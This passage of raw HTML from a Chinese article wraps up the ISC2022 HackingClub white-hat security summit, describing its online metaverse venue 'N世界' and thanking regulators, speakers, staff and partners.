0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 19px;"><section style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 102, 77);background-color: rgb(255, 102, 77);width: 1.8em;height: 1.8em;line-height: 1.7;border-radius: 100%;font-size: 21px;color: rgb(255, 255, 255);letter-spacing: 0px;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">查</strong></p></section></section></section><section style="margin: 0px;padding: 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 19px;"><section style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 102, 77);background-color: rgb(255, 102, 77);width: 1.8em;height: 1.8em;line-height: 1.7;border-radius: 100%;font-size: 21px;color: rgb(255, 255, 255);letter-spacing: 0px;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">看</strong></p></section></section></section><section style="margin: 0px;padding: 0px 5px 0px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 19px;"><section style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 102, 77);background-color: rgb(255, 102, 77);width: 1.8em;height: 1.8em;line-height: 1.7;border-radius: 100%;font-size: 21px;color: rgb(255, 255, 255);letter-spacing: 0px;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">回</strong></p></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 19px;"><section style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 102, 77);background-color: rgb(255, 102, 77);width: 1.8em;height: 1.8em;line-height: 1.7;border-radius: 100%;font-size: 21px;color: rgb(255, 255, 255);letter-spacing: 0px;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">放</strong></p></section></section></section></section><section powered-by="xiumi.us" style="margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;"><section style="margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 304.648px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-width: 0px;border-radius: 10px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;background-image: linear-gradient(rgba(253, 222, 219, 0) 0%, rgba(253, 222, 219, 0) 50%, rgb(255, 212, 103) 50%, rgb(255, 102, 77) 100%);height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;"><section style="margin: 0px;padding: 2px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 284.648px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(255, 255, 255);border-width: 0px;border-radius: 8px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row nowrap;"><section style="margin: 0px;padding: 20px 10px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 280.648px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-width: 1px;border-radius: 5px;border-style: solid;border-color: rgb(255, 212, 103);overflow: hidden;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-backh="214" data-backw="214" data-ratio="1" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;height: auto !important;width: 258.648px;visibility: visible !important;" data-type="png" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=3a1835bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntOKYfLkCdZm9O0xnicic4VYoo8kBjAR5S3mQHHVib9SWo0TiaLTWxHNwchg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(136, 136, 136);font-size: 14px;">扫码查看完整版精彩视频～</span><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><br/></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: normal;text-size-adjust: inherit;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;display: flex;flex-direction: column;justify-content: center;align-items: center;"><section data-original-title="" title="" data-num="2" hm_fix="291:313" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 192, 0);font-size: 60px;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4</strong></section><section data-width="15%" style="margin: -35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 101.547px;height: 1px;background-color: rgb(255, 192, 0);overflow: hidden;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section><section style="margin: 0px 0px 16px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(34, 34, 34);text-align: center;letter-spacing: 1.5px;transform: rotate(0deg);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(98, 93, 86);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;background-color: rgb(255, 250, 246);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">虚拟体验 数字变革</strong></span></span></section><p style="margin: 8px 0px 16px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;">万物互联时代，网络变得更加智能、复杂，我们的峰会也与时俱进。今年ISC2022 Hackingclub白帽峰会首次引入新一代聚会元宇宙平台——<strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(61, 167, 66);">“N世界”</span></strong>，<span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">监管领导们</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">振奋人心的</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">致辞，</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">安全技术</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">大咖们</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">的思想</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">碰撞都</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">在这里</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">尽情展示</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;float: none;display: inline !important;">，突破传统物理距离，</span>以线上元宇宙沉浸平台的数字新模式，打造出首个数字安全元宇宙白帽峰会。</p><p style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="343" data-backw="578" data-galleryid="" data-ratio="0.5935185185185186" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 677px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=74993acb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0HUPFawNZ7yEIsxjMibMxoPl5BxmCjLYBThuKZrialQpPicPH4r0WkG6eyWYlWH9wtvaHSp5VBt1bvX5v9HlQx7oQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;text-size-adjust: inherit;-webkit-text-stroke-width: 0px;text-decoration: none;display: flex;flex-direction: column;justify-content: center;align-items: center;"><section data-original-title="" title="" data-num="2" hm_fix="291:313" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 192, 0);font-size: 60px;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">5</strong></section><section data-width="15%" style="margin: -35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 101.547px;height: 1px;background-color: rgb(255, 192, 0);overflow: hidden;"><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section><section style="margin: 0px;padding: 8px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;caret-color: rgb(34, 34, 34);text-align: center;text-size-adjust: inherit;letter-spacing: 1.5px;transform: rotate(0deg);"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(98, 93, 86);font-family: mp-quote, -apple-system-font, system-ui, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;background-color: rgb(255, 250, 246);"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">携手并进 共创未来</strong></span></span></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px 0px -6px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: rotate(0deg);width: 0px;border-bottom: 3px solid rgb(93, 96, 184);border-left: 3px solid rgb(93, 96, 184);border-top: 3px solid rgb(255, 255, 255) !important;border-right: 3px solid rgb(255, 255, 255) !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border-right: 6px solid rgb(255, 216, 0);border-bottom: 6px solid rgb(255, 216, 0);border-top-color: rgb(255, 216, 0);border-left-color: rgb(255, 216, 0);"><section style="margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(245, 245, 245);"><section powered-by="xiumi.us" style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;white-space: normal;line-height: 2em;text-align: justify;">时光的齿轮转动不息，记载着付出和辛劳，见证着积累和成长。<span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">本届ISC2022 HackingClub白帽峰会已画上圆满的句点，在此向一直以来为我们提供支持的各位小伙伴致谢，ISC2022 HackingClub白帽峰会的圆满举办，离不开各行业监管、领导的大力支持，离不开演讲嘉宾们的干货分享，离不开幕后工作者们的辛勤付出，离不开350多家生态合作伙伴的鼎力支持！</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">我们将继续凝心聚力、踔厉奋发，与各位伙伴共同为国家筑牢数字安全屏障，为数字经济发展保驾护航。</span></section></section></section></section></section><section style="margin: -6px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: rotate(0deg);width: 0px;border-top: 3px solid rgb(93, 96, 184);border-right: 3px solid rgb(93, 96, 184);border-bottom: 3px solid rgb(255, 255, 255) !important;border-left: 3px solid rgb(255, 255, 255) !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 